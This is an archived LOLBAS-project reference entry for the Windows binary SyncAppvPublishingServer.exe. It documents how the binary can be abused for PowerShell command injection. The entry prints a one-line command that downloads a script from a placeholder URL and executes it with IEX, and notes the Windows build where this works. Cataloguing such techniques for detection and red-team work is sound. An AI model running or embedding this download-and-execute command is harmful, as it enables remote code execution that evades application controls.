UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.
New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/
- Functions: Execute
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
Acknowledgements:
- Nick Landers - @monoxgas
Code sample: *
Resources:
Full path:
C:\Windows\System32\SyncAppvPublishingServer.exe
Notes: Command injection into PowerShell Might have been fixed in newest version of Windows 10. (Works as of 10.0.16299.371)